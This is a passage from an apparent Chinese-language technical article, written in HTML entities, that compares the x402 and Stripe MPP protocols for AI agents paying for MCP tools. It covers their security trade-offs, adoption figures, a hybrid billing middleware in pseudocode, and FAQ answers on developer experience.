SDK&#xFF0C;&#x6269;&#x5C55;&#x4E86;&#x529F;&#x80FD;&#x4F46;&#x4E5F;&#x5F15;&#x5165;&#x4E86;&#x65B0;&#x7684;&#x653B;&#x51FB;&#x9762;&#x3002;&#x52A8;&#x6001;&#x8DEF;&#x7531;&#x610F;&#x5473;&#x7740;&#x670D;&#x52A1;&#x5668;&#x544A;&#x8BC9;&#x4F60;&#x7684;&#x4EE3;&#x7406;&#x628A;&#x94B1;&#x53D1;&#x5230;&#x54EA;&#x91CC;&#xFF0C;&#x5982;&#x679C;&#x4E0D;&#x9A8C;&#x8BC1;&#x5730;&#x5740;&#xFF0C;&#x5C31;&#x53EF;&#x80FD;&#x5BFC;&#x81F4;&#x6536;&#x6B3E;&#x65B9;&#x88AB;&#x7BE1;&#x6539;&#x3002;&#x6A21;&#x5757;&#x5316; SDK &#x901A;&#x8FC7;&#x7B2C;&#x4E09;&#x65B9;&#x63D2;&#x4EF6;&#x5F15;&#x5165;&#x4E86;&#x4F9B;&#x5E94;&#x94FE;&#x98CE;&#x9669;&#x3002;&#x751F;&#x4EA7;&#x90E8;&#x7F72;&#x9700;&#x8981;&#xFF1A;&#x6536;&#x6B3E;&#x65B9;&#x767D;&#x540D;&#x5355;&#x3001;&#x6BCF;&#x4E2A;&#x4F1A;&#x8BDD;&#x548C;&#x6BCF;&#x4E2A;&#x4EE3;&#x7406;&#x7684;&#x9884;&#x7B97;&#x4E0A;&#x9650;&#x3001;&#x901F;&#x7387;&#x9650;&#x5236;&#x3001;&#x94FE;&#x9A8C;&#x8BC1;&#xFF0C;&#x4EE5;&#x53CA;&#x5F02;&#x5E38;&#x652F;&#x51FA;&#x7684;&#x76D1;&#x63A7;&#x3002;&#x50CF; PaySentry &#x8FD9;&#x6837;&#x7684;&#x5DE5;&#x5177;&#x6B63;&#x5728;&#x6D8C;&#x73B0;&#x4EE5;&#x586B;&#x8865;&#x8FD9;&#x4E00;&#x7A7A;&#x767D;&#xFF0C;&#x4F46;&#x8BE5;&#x9886;&#x57DF;&#x4ECD;&#x4E0D;&#x6210;&#x719F;&#x3002;</li><li><strong>Stripe MPP &#x5B89;&#x5168;&#x6A21;&#x578B;&#xFF1A;</strong> &#x4F1A;&#x8BDD;&#x63D0;&#x4F9B;&#x5185;&#x7F6E;&#x7684;&#x6D88;&#x8D39;&#x9650;&#x989D;&#x3002;Stripe &#x7684;&#x5408;&#x89C4;&#x4F53;&#x7CFB;&#xFF08;Radar &#x6B3A;&#x8BC8;&#x68C0;&#x6D4B;&#x3001;PCI&#x3001;&#x7A0E;&#x52A1;&#xFF09;&#x9002;&#x7528;&#x4E8E; MPP &#x652F;&#x4ED8;&#x3002;SPTs &#x6309;&#x5546;&#x5BB6;&#x3001;&#x65F6;&#x95F4;&#x548C;&#x91D1;&#x989D;&#x9650;&#x5B9A;&#x51ED;&#x8BC1;&#x8303;&#x56F4;&#xFF0C;&#x9632;&#x6B62;&#x4EE3;&#x7406;&#x652F;&#x51FA;&#x5931;&#x63A7;&#x3002;&#x6743;&#x8861;&#x5728;&#x4E8E;&#x5BF9; Stripe &#x548C; Tempo &#x4F5C;&#x4E3A;&#x4E2D;&#x4ECB;&#x7684;&#x4F9D;&#x8D56;&#x3002;&#x4F60;&#x4FE1;&#x4EFB;&#x4ED6;&#x4EEC;&#x7684;&#x57FA;&#x7840;&#x8BBE;&#x65BD;&#xFF0C;&#x800C;&#x4E0D;&#x662F;&#x81EA;&#x5DF1;&#x6784;&#x5EFA;&#x63A7;&#x5236;&#x63AA;&#x65BD;&#x3002;</li></ul><!--kg-card-begin: markdown--><table>
<thead>
<tr>
<th>&#x5B89;&#x5168;&#x65B9;&#x9762;</th>
<th>x402</th>
<th>Stripe MPP</th>
</tr>
</thead>
<tbody>
<tr>
<td>&#x652F;&#x4ED8;&#x6700;&#x7EC8;&#x6027;</td>
<td>&#x5373;&#x65F6;&#x3001;&#x4E0D;&#x53EF;&#x9006;&#xFF08;&#x94FE;&#x4E0A;&#xFF09;</td>
<td>&#x4E9A;&#x79D2;&#x7EA7;&#x3001;&#x4F1A;&#x8BDD;&#x8303;&#x56F4;</td>
</tr>
<tr>
<td>&#x6B3A;&#x8BC8;&#x9632;&#x62A4;</td>
<td>&#x81EA;&#x884C;&#x642D;&#x5EFA;</td>
<td>&#x5185;&#x7F6E;&#xFF08;Stripe Radar&#xFF09;</td>
</tr>
<tr>
<td>&#x4EE3;&#x7406;&#x6D88;&#x8D39;&#x9650;&#x989D;</td>
<td>&#x5FC5;&#x987B;&#x5916;&#x90E8;&#x5B9E;&#x73B0;</td>
<td>&#x5185;&#x7F6E;&#x4F1A;&#x8BDD;&#x9650;&#x989D;</td>
</tr>
<tr>
<td>&#x51ED;&#x8BC1;&#x66B4;&#x9732;</td>
<td>&#x5FC5;&#x987B;&#x4FDD;&#x62A4;&#x94B1;&#x5305;&#x5BC6;&#x94A5;</td>
<td>SPTs &#x9694;&#x79BB;&#x51ED;&#x8BC1;</td>
</tr>
<tr>
<td>&#x76D1;&#x7BA1;&#x5408;&#x89C4;</td>
<td>&#x81EA;&#x884C;&#x8D1F;&#x8D23;</td>
<td>&#x7531; Stripe &#x5904;&#x7406;</td>
</tr>
<tr>
<td>&#x4E89;&#x8BAE;&#x89E3;&#x51B3;</td>
<td>&#x65E0;&#x5185;&#x7F6E;</td>
<td>Stripe &#x7BA1;&#x7406;</td>
</tr>
<tr>
<td>&#x4F9B;&#x5E94;&#x5546;&#x9501;&#x5B9A;</td>
<td>&#x65E0;&#xFF08;&#x5F00;&#x653E;&#x534F;&#x8BAE;&#xFF09;</td>
<td>Stripe + Tempo &#x4F9D;&#x8D56;</td>
</tr>
</tbody>
</table>
<!--kg-card-end: markdown--><h3 id="45-%E7%94%9F%E6%80%81%E4%B8%8E%E9%87%87%E7%94%A8%EF%BC%9A%E7%8E%B0%E5%AE%9E%E6%A3%80%E9%AA%8C">4.5 &#x751F;&#x6001;&#x4E0E;&#x91C7;&#x7528;&#xFF1A;&#x73B0;&#x5B9E;&#x68C0;&#x9A8C;</h3><p>&#x4E24;&#x79CD;&#x65B9;&#x6CD5;&#x80CC;&#x540E;&#x7684;&#x673A;&#x6784;&#x52A8;&#x529B;&#x4EE4;&#x4EBA;&#x5370;&#x8C61;&#x6DF1;&#x523B;&#x3002;&#x4F46;&#x5B9E;&#x9645;&#x4F7F;&#x7528;&#x6570;&#x636E;&#x8BB2;&#x8FF0;&#x4E86;&#x4E00;&#x4E2A;&#x66F4;&#x4E3A;&#x514B;&#x5236;&#x7684;&#x6545;&#x4E8B;&#x3002;</p><ul><li><strong>x402&#xFF1A;</strong> Coinbase &#x62A5;&#x544A;&#x5176; Agentic Wallets &#x57FA;&#x7840;&#x8BBE;&#x65BD;&#x7D2F;&#x8BA1;&#x5904;&#x7406;&#x4E86;&#x8D85;&#x8FC7; 5000 &#x4E07;&#x7B14;&#x4EA4;&#x6613;&#x3002;&#x7136;&#x800C;&#xFF0C;&#x94FE;&#x4E0A;&#x5206;&#x6790;&#x63CF;&#x7ED8;&#x4E86;&#x66F4;&#x5FAE;&#x5999;&#x7684;&#x753B;&#x9762;&#xFF1A;&#x622A;&#x81F3; 2026 &#x5E74; 3 &#x6708;&#x521D;&#xFF0C;&#x65E5;&#x4EA4;&#x6613;&#x91CF;&#x7EA6;&#x4E3A; 131,000 &#x7B14;&#x4EA4;&#x6613;&#xFF0C;&#x4EF7;&#x503C;&#x7EA6; $28,000&#xFF0C;&#x5E73;&#x5747;&#x652F;&#x4ED8; $0.20&#x3002;&#x5927;&#x7EA6;&#x4E00;&#x534A;&#x4F3C;&#x4E4E;&#x662F;&#x6D4B;&#x8BD5;&#x6216;&#x6E38;&#x620F;&#x5316;&#x6D3B;&#x52A8;&#xFF0C;&#x800C;&#x975E;&#x771F;&#x5B9E;&#x5546;&#x4E1A;&#x6D3B;&#x52A8;&#x3002;&#x771F;&#x5B9E;&#x7684;&#x751F;&#x4EA7;&#x7528;&#x6237;&#x5305;&#x62EC; Neynar&#xFF08;&#x793E;&#x4EA4;&#x6570;&#x636E;&#x67E5;&#x8BE2;&#xFF09;&#x3001;Hyperbolic&#xFF08;GPU &#x63A8;&#x7406;&#xFF09;&#x548C; Token Metrics&#xFF08;&#x52A0;&#x5BC6;&#x5206;&#x6790;&#xFF09;&#x3002;x402 &#x57FA;&#x91D1;&#x4F1A;&#xFF08;Coinbase + Cloudflare&#xFF09;&#x4EE5;&#x53CA;&#x88AB;&#x7EB3;&#x5165; Google &#x7684; AP2 &#x5021;&#x8BAE;&#x63D0;&#x4F9B;&#x4E86;&#x5F3A;&#x5927;&#x7684;&#x673A;&#x6784;&#x652F;&#x6301;&#x3002;Stripe &#x4E5F;&#x63D0;&#x4F9B;&#x539F;&#x751F; x402 &#x96C6;&#x6210;&#xFF0C;&#x56E0;&#x6B64;&#x5546;&#x5BB6;&#x53EF;&#x4EE5;&#x901A;&#x8FC7;&#x73B0;&#x6709; Stripe &#x4EEA;&#x8868;&#x76D8;&#x63A5;&#x53D7; x402 &#x652F;&#x4ED8;&#x3002;</li><li><strong>MPP&#xFF1A;</strong> 2026 &#x5E74; 3 &#x6708; 18 &#x65E5;&#x521A;&#x53D1;&#x5E03;&#x51E0;&#x5929;&#x3002;Tempo &#x5217;&#x51FA;&#x4E86;&#x4E0E; Anthropic&#x3001;DoorDash&#x3001;Mastercard&#x3001;Nubank&#x3001;OpenAI&#x3001;Ramp&#x3001;Revolut&#x3001;Shopify&#x3001;Standard Chartered &#x548C; Visa &#x7684;&#x5408;&#x4F5C;&#x3002;&#x53D1;&#x5E03;&#x65F6;&#x652F;&#x4ED8;&#x76EE;&#x5F55;&#x4E2D;&#x6709;&#x8D85;&#x8FC7; 100 &#x4E2A;&#x670D;&#x52A1;&#xFF0C;&#x5305;&#x62EC; Alchemy&#x3001;Dune Analytics &#x548C; Merit Systems&#x3002;&#x73B0;&#x5728;&#x8FD8;&#x592A;&#x65E9;&#x6CA1;&#x6709;&#x6709;&#x610F;&#x4E49;&#x7684;&#x4EA4;&#x6613;&#x91CF;&#x6570;&#x636E;&#xFF0C;&#x800C;&#x53D1;&#x5E03;&#x65F6;&#x7684;&quot;&#x5408;&#x4F5C;&quot;&#x53EF;&#x80FD;&#x610F;&#x5473;&#x7740;&#x4ECE;&#x7B7E;&#x7F72;&#x610F;&#x5411;&#x4E66;&#x5230;&#x5B9E;&#x9645;&#x751F;&#x4EA7;&#x6D41;&#x91CF;&#x4E4B;&#x95F4;&#x7684;&#x4EFB;&#x4F55;&#x7A0B;&#x5EA6;&#x3002;</li></ul><p>&#x4E24;&#x8005;&#x90FD;&#x5904;&#x4E8E;&#x65E9;&#x671F;&#x9636;&#x6BB5;&#x3002;&#x57FA;&#x7840;&#x8BBE;&#x65BD;&#x6B63;&#x7531;&#x4E25;&#x8083;&#x7684;&#x53C2;&#x4E0E;&#x8005;&#x94FA;&#x8BBE;&#xFF0C;&#x4F46;&#x5927;&#x89C4;&#x6A21;&#x7684;&#x4EE3;&#x7406;&#x652F;&#x4ED8;&#x4EA4;&#x6613;&#x91CF;&#x4ECD;&#x5728;&#x672A;&#x6765;&#x800C;&#x975E;&#x8FC7;&#x53BB;&#x3002;</p><h2 id="5%E3%80%81%E6%B7%B7%E5%90%88%E8%B7%AF%E5%BE%84%EF%BC%9A%E7%BB%93%E5%90%88-x402%E3%80%81mpp-%E5%92%8C%E4%BC%A0%E7%BB%9F%E8%AE%A1%E8%B4%B9">5&#x3001;&#x6DF7;&#x5408;&#x8DEF;&#x5F84;&#xFF1A;&#x7ED3;&#x5408; x402&#x3001;MPP &#x548C;&#x4F20;&#x7EDF;&#x8BA1;&#x8D39;</h2><p>&#x5BF9;&#x8BB8;&#x591A;&#x56E2;&#x961F;&#x6765;&#x8BF4;&#xFF0C;&#x6B63;&#x786E;&#x7684;&#x7B54;&#x6848;&#x4E0D;&#x662F;&#x5355;&#x4E00;&#x534F;&#x8BAE;&#x3002;&#x6700;&#x52A1;&#x5B9E;&#x7684;&#x67B6;&#x6784;&#x662F;&#x9488;&#x5BF9;&#x4E0D;&#x540C;&#x53D7;&#x4F17;&#x4F7F;&#x7528;&#x4E0D;&#x540C;&#x7684;&#x652F;&#x4ED8;&#x8DEF;&#x5F84;&#xFF1A;</p><ul><li><strong>x402</strong> &#x7528;&#x4E8E;&#x8FDB;&#x884C;&#x4E00;&#x6B21;&#x6027;&#x6216;&#x4F4E;&#x9891;&#x8C03;&#x7528;&#x7684;&#x81EA;&#x4E3B;&#x4EE3;&#x7406;&#xFF08;&#x65E0;&#x8BB8;&#x53EF;&#x3001;&#x65E0;&#x8BBE;&#x7F6E;&#xFF09;</li><li><strong>MPP</strong> &#x7528;&#x4E8E;&#x53D7;&#x76CA;&#x4E8E;&#x805A;&#x5408;&#x548C; Stripe &#x5408;&#x89C4;&#x6027;&#x7684;&#x9AD8;&#x9891;&#x4EE3;&#x7406;&#x4F1A;&#x8BDD;</li><li><strong>Stripe &#x4F20;&#x7EDF;</strong> &#x7528;&#x4E8E;&#x9700;&#x8981;&#x8BA2;&#x9605;&#x3001;&#x53D1;&#x7968;&#x548C;&#x4EEA;&#x8868;&#x76D8;&#x7684;&#x4EBA;&#x7C7B;&#x5BA2;&#x6237;</li></ul><p>&#x4EE5;&#x4E0B;&#x662F;&#x6DF7;&#x5408;&#x4E2D;&#x95F4;&#x4EF6;&#x7684;&#x5B9E;&#x9645;&#x5B9E;&#x73B0;&#x65B9;&#x5F0F;&#xFF08;&#x4F2A;&#x4EE3;&#x7801;&#xFF09;&#xFF1A;</p><pre><code>async def authenticate(request):
    # Path 1: Stripe API key (human customer with subscription)
    api_key = request.headers.get(&quot;Authorization&quot;)
    if api_key and verify_stripe_key(api_key):
        record_stripe_usage(api_key)
        return &quot;stripe_subscription&quot;

    # Path 2: MPP session token (high-frequency agent)
    session = request.headers.get(&quot;X-MPP-Session&quot;)
    if session and verify_mpp_session(session):
        debit_session(session, tool_price)
        return &quot;mpp&quot;

    # Path 3: x402 payment receipt (autonomous agent, one-off)
    receipt = request.headers.get(&quot;X-Payment-Receipt&quot;)
    if receipt and verify_onchain(receipt):
        return &quot;x402&quot;

    # Path 4: no credentials; return 402 with payment options
    return Response(
        status=402,
        headers={
            &quot;X-Payment-Amount&quot;: &quot;10000&quot;,    # 0.01 USDC
            &quot;X-Payment-Token&quot;: &quot;USDC&quot;,
            &quot;X-Payment-Chain&quot;: &quot;base&quot;,
            &quot;X-Payment-Address&quot;: &quot;0xYourWallet...&quot;,
        },
    )
</code></pre><p>&#x4E00;&#x4E2A;&#x4E2D;&#x95F4;&#x4EF6;&#xFF0C;&#x591A;&#x79CD;&#x9A8C;&#x8BC1;&#x8DEF;&#x5F84;&#x3002;&#x4EBA;&#x7C7B;&#x56E2;&#x961F;&#x83B7;&#x5F97;&#x53D1;&#x7968;&#x548C;&#x4EEA;&#x8868;&#x76D8;&#x3002;&#x9AD8;&#x9891;&#x4EE3;&#x7406;&#x83B7;&#x5F97;&#x4F1A;&#x8BDD;&#x6548;&#x7387;&#x3002;&#x4E00;&#x6B21;&#x6027;&#x4EE3;&#x7406;&#x83B7;&#x5F97;&#x65E0;&#x8BB8;&#x53EF;&#x8BBF;&#x95EE;&#x3002;&#x6CA1;&#x6709;&#x53D7;&#x4F17;&#x88AB;&#x6392;&#x9664;&#x5728;&#x5916;&#x3002;</p><p>&#x8FD9;&#x4E5F;&#x662F; Stripe &#x7684;&#x7ACB;&#x573A;&#xFF1A;&#x4ED6;&#x4EEC;&#x901A;&#x8FC7;&#x72EC;&#x7ACB;&#x7684;&#x96C6;&#x6210;&#x8DEF;&#x5F84;&#x652F;&#x6301; x402&#x3001;MPP &#x548C;&#x4F20;&#x7EDF;&#x8BA1;&#x8D39;&#xFF0C;&#x6240;&#x6709;&#x7ED3;&#x7B97;&#x90FD;&#x8FDB;&#x5165;&#x540C;&#x4E00;&#x4E2A;&#x5546;&#x5BB6;&#x4EEA;&#x8868;&#x76D8;&#x3002;&#x4ED6;&#x4EEC;&#x7684;&#x7B56;&#x7565;&#x662F;&#x62E5;&#x6709;&#x62BD;&#x8C61;&#x5C42;&#xFF0C;&#x8BA9;&#x534F;&#x8BAE;&#x5728;&#x5E95;&#x5C42;&#x7ADE;&#x4E89;&#x3002;&#x5982;&#x679C;&#x4F60;&#x4E0D;&#x60F3;&#x62BC;&#x6CE8;&#x5355;&#x4E00;&#x534F;&#x8BAE;&#xFF0C;&#x4EE5; Stripe &#x4F5C;&#x4E3A;&#x7ED3;&#x7B97;&#x5C42;&#x53EF;&#x4EE5;&#x4FDD;&#x6301;&#x4F60;&#x7684;&#x9009;&#x62E9;&#x5F00;&#x653E;&#x3002;</p><p>&#x5982;&#x679C;&#x4F60;&#x73B0;&#x5728;&#x6B63;&#x5728;&#x6784;&#x5EFA; MCP &#x670D;&#x52A1;&#x5668;&#xFF0C;&#x8FD9;&#x610F;&#x5473;&#x7740;&#xFF1A;</p><ul><li><strong>x402 &#x662F;&#x6700;&#x5FEB;&#x7684;&#x8D77;&#x6B65;&#x65B9;&#x5F0F;&#x3002;</strong> &#x901A;&#x8FC7; x402-mcp&#xFF0C;<code>paidTool</code> &#x62BD;&#x8C61;&#x7B80;&#x6D01;&#x4E14; MCP &#x539F;&#x751F;&#x3002;&#x5982;&#x679C;&#x4F60;&#x7684;&#x5DE5;&#x5177;&#x6267;&#x884C;&#x79BB;&#x6563;&#x7684;&#x3001;&#x6709;&#x754C;&#x7684;&#x5DE5;&#x4F5C;&#xFF08;&#x641C;&#x7D22;&#x3001;&#x67E5;&#x8BE2;&#x3001;&#x8F6C;&#x6362;&#x3001;&#x751F;&#x6210;&#xFF09;&#xFF0C;&#x5728;&#x6BCF;&#x6B21;&#x8C03;&#x7528;&#x4E0A;&#x653E;&#x7F6E; $0.001 &#x5230; $0.01 &#x7684;&#x4EF7;&#x683C;&#x73B0;&#x5728;&#x662F;&#x4E00;&#x6761;&#x73B0;&#x5B9E;&#x7684;&#x5546;&#x4E1A;&#x5316;&#x8DEF;&#x5F84;&#xFF0C;&#x4EE3;&#x7801;&#x91CF;&#x6781;&#x5C0F;&#x3002;</li><li><strong>&#x5982;&#x679C;&#x4F60;&#x9884;&#x671F;&#x9AD8;&#x9891;&#x4EE3;&#x7406;&#x6D41;&#x91CF;&#xFF0C;MPP &#x503C;&#x5F97;&#x5173;&#x6CE8;&#x3002;</strong> &#x5982;&#x679C;&#x4F60;&#x7684; MCP &#x5DE5;&#x5177;&#x5728;&#x6BCF;&#x4E2A;&#x4F1A;&#x8BDD;&#x4E2D;&#x88AB;&#x8C03;&#x7528;&#x6570;&#x767E;&#x6B21;&#xFF08;&#x6570;&#x636E;&#x6E90;&#x3001;&#x76D1;&#x63A7;&#x3001;&#x6301;&#x7EED;&#x67E5;&#x8BE2;&#xFF09;&#xFF0C;&#x57FA;&#x4E8E;&#x4F1A;&#x8BDD;&#x7684;&#x805A;&#x5408;&#x907F;&#x514D;&#x4E86;&#x6BCF;&#x6B21;&#x8C03;&#x7528;&#x7684;&#x533A;&#x5757;&#x94FE;&#x5F00;&#x9500;&#x3002;Stripe &#x96C6;&#x6210;&#x610F;&#x5473;&#x7740;&#x4F60;&#x65E0;&#x9700;&#x81EA;&#x5DF1;&#x6784;&#x5EFA;&#x5C31;&#x80FD;&#x83B7;&#x5F97;&#x5408;&#x89C4;&#x548C;&#x6B3A;&#x8BC8;&#x9632;&#x62A4;&#x3002;</li><li><strong>&#x4F60;&#x9700;&#x8981;&#x56F4;&#x7ED5; x402 &#x81EA;&#x884C;&#x6784;&#x5EFA;&#x8FD0;&#x8425;&#x57FA;&#x7840;&#x8BBE;&#x65BD;&#x3002;</strong> &#x5982;&#x4F55;&#x5904;&#x7406;&#x9000;&#x6B3E;&#xFF1F;&#x76D1;&#x63A7;&#xFF1F;&#x5931;&#x63A7;&#x4EE3;&#x7406;&#x652F;&#x51FA;&#x7684;&#x901F;&#x7387;&#x9650;&#x5236;&#xFF1F;&#x5BC6;&#x94A5;&#x7BA1;&#x7406;&#xFF1F;&#x8FD9;&#x4E9B;&#x5728; x402 &#x4E2D;&#x90FD;&#x662F;&#x4F60;&#x7684;&#x95EE;&#x9898;&#x3002;MPP &#x5C06;&#x5927;&#x90E8;&#x5206;&#x5DE5;&#x4F5C;&#x59D4;&#x6258;&#x7ED9; Stripe&#x3002;</li><li><strong>&#x65E0;&#x8BBA;&#x54EA;&#x79CD;&#x65B9;&#x5F0F;&#xFF0C;&#x5B9A;&#x4EF7;&#x6A21;&#x5F0F;&#x7684;&#x8F6C;&#x53D8;&#x90FD;&#x662F;&#x771F;&#x5B9E;&#x7684;&#x3002;</strong> &#x4ECE;&#x8BA2;&#x9605;&#x8F6C;&#x5411;&#x6309;&#x8BF7;&#x6C42;&#x8BA1;&#x8D39;&#x6539;&#x53D8;&#x4E86;&#x4F60;&#x5BF9;&#x4EA7;&#x54C1;&#x7684;&#x601D;&#x8003;&#x65B9;&#x5F0F;&#x3002;&#x4F60;&#x4E0D;&#x518D;&#x9500;&#x552E;&#x8BBF;&#x95EE;&#x6743;&#x9650;&#xFF1B;&#x4F60;&#x5728;&#x4E3A;&#x5355;&#x4E2A;&#x5DE5;&#x4F5C;&#x5355;&#x5143;&#x5B9A;&#x4EF7;&#x3002;&#x8FD9;&#x9700;&#x8981;&#x4E86;&#x89E3;&#x4F60;&#x6BCF;&#x6B21;&#x8C03;&#x7528;&#x7684;&#x6210;&#x672C;&#x3001;&#x6BCF;&#x6B21;&#x8C03;&#x7528;&#x7684;&#x4EF7;&#x503C;&#xFF0C;&#x4EE5;&#x53CA;&#x4E0D;&#x540C;&#x4EF7;&#x683C;&#x70B9;&#x7684;&#x9700;&#x6C42;&#x5F39;&#x6027;&#x3002;&#x8FD9;&#x66F4;&#x50CF;&#x662F;&#x4E3A;&#x65E0;&#x670D;&#x52A1;&#x5668;&#x51FD;&#x6570;&#x5B9A;&#x4EF7;&#xFF0C;&#x800C;&#x4E0D;&#x662F;&#x4E3A; SaaS &#x5E2D;&#x4F4D;&#x5B9A;&#x4EF7;&#x3002;</li><li><strong>&#x4F60;&#x7684;&#x7528;&#x6237;&#x9700;&#x8981;&#x52A0;&#x5BC6;&#x94B1;&#x5305;&#xFF08;&#x76EE;&#x524D;&#x800C;&#x8A00;&#xFF09;&#x3002;</strong> x402 &#x9700;&#x8981; Base &#x6216; Solana &#x4E0A;&#x7684; USDC&#x3002;MPP &#x9700;&#x8981; Tempo &#x4E0A;&#x7684; USDC&#xFF08;&#x6216;&#x901A;&#x8FC7; SPTs &#x4F7F;&#x7528;&#x6CD5;&#x5E01;&#xFF09;&#x3002;&#x5BF9;&#x4E8E;&#x5F00;&#x53D1;&#x8005;&#x4E0E;&#x5F00;&#x53D1;&#x8005;&#x3001;&#x4EE3;&#x7406;&#x4E0E;&#x4EE3;&#x7406;&#x7684;&#x573A;&#x666F;&#xFF0C;&#x8FD9;&#x8D8A;&#x6765;&#x8D8A;&#x6B63;&#x5E38;&#x3002;&#x5BF9;&#x4E8E;&#x4E3B;&#x6D41;&#x91C7;&#x7528;&#xFF0C;&#x94B1;&#x5305;&#x5165;&#x9A7B;&#x4ECD;&#x7136;&#x662F;&#x4E00;&#x4E2A;&#x6469;&#x64E6;&#x70B9;&#xFF0C;&#x5C3D;&#x7BA1; Coinbase &#x7B49;&#x516C;&#x53F8;&#x7684;&#x6258;&#x7BA1;&#x94B1;&#x5305;&#x89E3;&#x51B3;&#x65B9;&#x6848;&#x6B63;&#x5728;&#x7F29;&#x5C0F;&#x5DEE;&#x8DDD;&#x3002;</li></ul><h2 id="6%E3%80%81x402-%E5%92%8C-mpp-%E5%B8%B8%E8%A7%81%E9%97%AE%E9%A2%98">6&#x3001;x402 &#x548C; MPP &#x5E38;&#x89C1;&#x95EE;&#x9898;</h2><h4 id="x402-%E7%9C%9F%E7%9A%84%E4%BC%9A%E5%8F%96%E4%BB%A3-api-%E5%AF%86%E9%92%A5%E5%92%8C%E8%AE%A2%E9%98%85%E5%90%97%EF%BC%9F">x402 &#x771F;&#x7684;&#x4F1A;&#x53D6;&#x4EE3; API &#x5BC6;&#x94A5;&#x548C;&#x8BA2;&#x9605;&#x5417;&#xFF1F;</h4><p>&#x4E0D;&#x4F1A;&#x5168;&#x9762;&#x53D6;&#x4EE3;&#xFF0C;&#x53EF;&#x80FD;&#x4E5F;&#x4E0D;&#x4F1A;&#x5F88;&#x5FEB;&#x3002;x402 &#x5728;&#x81EA;&#x4E3B;&#x7684;&#x3001;&#x6309;&#x9700;&#x5DE5;&#x5177;&#x8BBF;&#x95EE;&#x8FD9;&#x4E00;&#x7279;&#x5B9A;&#x573A;&#x666F;&#x4E2D;&#x6D88;&#x9664;&#x4E86;&#x5BF9; API &#x5BC6;&#x94A5;&#x7684;&#x9700;&#x6C42;&#x3002;&#x4F46;&#x8BA2;&#x9605;&#x7684;&#x5B58;&#x5728;&#x662F;&#x6709;&#x539F;&#x56E0;&#x7684;&#xFF1A;&#x5B83;&#x4EEC;&#x4E3A;&#x63D0;&#x4F9B;&#x5546;&#x63D0;&#x4F9B;&#x53EF;&#x9884;&#x6D4B;&#x7684;&#x6536;&#x5165;&#xFF0C;&#x4E3A;&#x6D88;&#x8D39;&#x8005;&#x63D0;&#x4F9B;&#x53EF;&#x9884;&#x6D4B;&#x7684;&#x6210;&#x672C;&#x3002;&#x7279;&#x522B;&#x662F;&#x4F01;&#x4E1A;&#x4E70;&#x5BB6;&#xFF0C;&#x91CD;&#x89C6;&#x7EA6;&#x5B9A;&#x5B9A;&#x4EF7;&#x548C;&#x5F00;&#x7968;&#x3002;&#x66F4;&#x6709;&#x53EF;&#x80FD;&#x7684;&#x662F;&#xFF0C;x402 &#x5F00;&#x8F9F;&#x4E86;&#x4E00;&#x4E2A;&#x65B0;&#x7684;&#x8BBF;&#x95EE;&#x5C42;&#x7EA7;&#xFF08;&#x968F;&#x610F;&#x7684;&#x3001;&#x63A2;&#x7D22;&#x6027;&#x7684;&#x3001;&#x4EE3;&#x7406;&#x9A71;&#x52A8;&#x7684;&#xFF09;&#xFF0C;&#x5B83;&#x4E0E;&#x73B0;&#x6709;&#x8BA1;&#x8D39;&#x5E76;&#x5B58;&#x800C;&#x975E;&#x53D6;&#x4EE3;&#x3002;&#x53EF;&#x4EE5;&#x5C06;&#x5176;&#x7406;&#x89E3;&#x4E3A;&#x6309;&#x6B21;&#x4ED8;&#x8D39;&#x548C;&#x6D41;&#x5A92;&#x4F53;&#x8BA2;&#x9605;&#x4E4B;&#x95F4;&#x7684;&#x5173;&#x7CFB;&#xFF1A;&#x4E0D;&#x540C;&#x7684;&#x6D88;&#x8D39;&#x6A21;&#x5F0F;&#x5BF9;&#x5E94;&#x4E0D;&#x540C;&#x7684;&#x6A21;&#x578B;&#x3002;</p><h4 id="%E5%BC%80%E5%8F%91%E8%80%85%E4%BD%93%E9%AA%8C%E5%9C%A8%E5%AE%9E%E8%B7%B5%E4%B8%AD%E5%A6%82%E4%BD%95%E6%AF%94%E8%BE%83%EF%BC%9F">&#x5F00;&#x53D1;&#x8005;&#x4F53;&#x9A8C;&#x5728;&#x5B9E;&#x8DF5;&#x4E2D;&#x5982;&#x4F55;&#x6BD4;&#x8F83;&#xFF1F;</h4><p>&#x5BF9;&#x4E8E;&#x6309;&#x8BF7;&#x6C42; MCP &#x5DE5;&#x5177;&#x652F;&#x4ED8;&#x8FD9;&#x4E00;&#x72ED;&#x7A84;&#x573A;&#x666F;&#xFF0C;x402&#xFF08;&#x901A;&#x8FC7; x402-mcp&#xFF09;&#x8981;&#x7B80;&#x5355;&#x5F97;&#x591A;&#x3002;&#x4E94;&#x884C;&#x670D;&#x52A1;&#x5668;&#x4EE3;&#x7801;&#x3001;&#x4E00;&#x884C;&#x5BA2;&#x6237;&#x7AEF;&#x5305;&#x88C5;&#x5668;&#xFF0C;&#x4F60;&#x5C31;&#x5728;&#x6536;&#x6B3E;&#x4E86;&#x3002;MPP &#x589E;&#x52A0;&#x4E86;&#x4F1A;&#x8BDD;&#x7BA1;&#x7406;&#xFF0C;&#x4F46;&#x4F5C;&#x4E3A;&#x56DE;&#x62A5;&#x63D0;&#x4F9B;&#x4E86; Stripe &#x7684;&#x5B8C;&#x6574;&#x6280;&#x672F;&#x6808;&#x3002;&#x5F00;&#x53D1;&#x8005;&#x4F53;&#x9A8C;&#x7684;&#x95EE;&#x9898;&#x5B9E;&#x9645;&#x4E0A;&#x662F;&#xFF1A;&#x4F60;&#x5B9E;&#x9645;&#x9700;&#x8981;&#x652F;&#x4ED8;&#x6280;&#x672F;&#x6808;&#x7684;&#x591A;&#x5C11;&#xFF1F;&#x5982;&#x679C;&#x7B54;&#x6848;&#x662F;&quot;&#x6309;&#x8C03;&#x7528;&#x6536;&#x8D39;&#x5C31;&#x884C;&#xFF0C;&#x5176;&#x4F59;&#x7684;&#x6211;&#x81EA;&#x5DF1;&#x5904;&#x7406;&quot;&#xFF0C;x402 &#x80DC;&#x51FA;&#x3002;&#x5982;&#x679C;&#x7B54;&#x6848;&#x662F;&quot;&#x6309;&#x8C03;&#x7528;&#x6536;&#x8D39;&#x52A0;&#x4E0A;&#x6B3A;&#x8BC8;&#x9632;&#x62A4;&#x3001;&#x7A0E;&#x52A1;&#x5408;&#x89C4;&#x548C;&#x62A5;&#x544A;&quot;&#xFF0C;MPP &#x80DC;&#x51FA;&#x3002;</p><h4 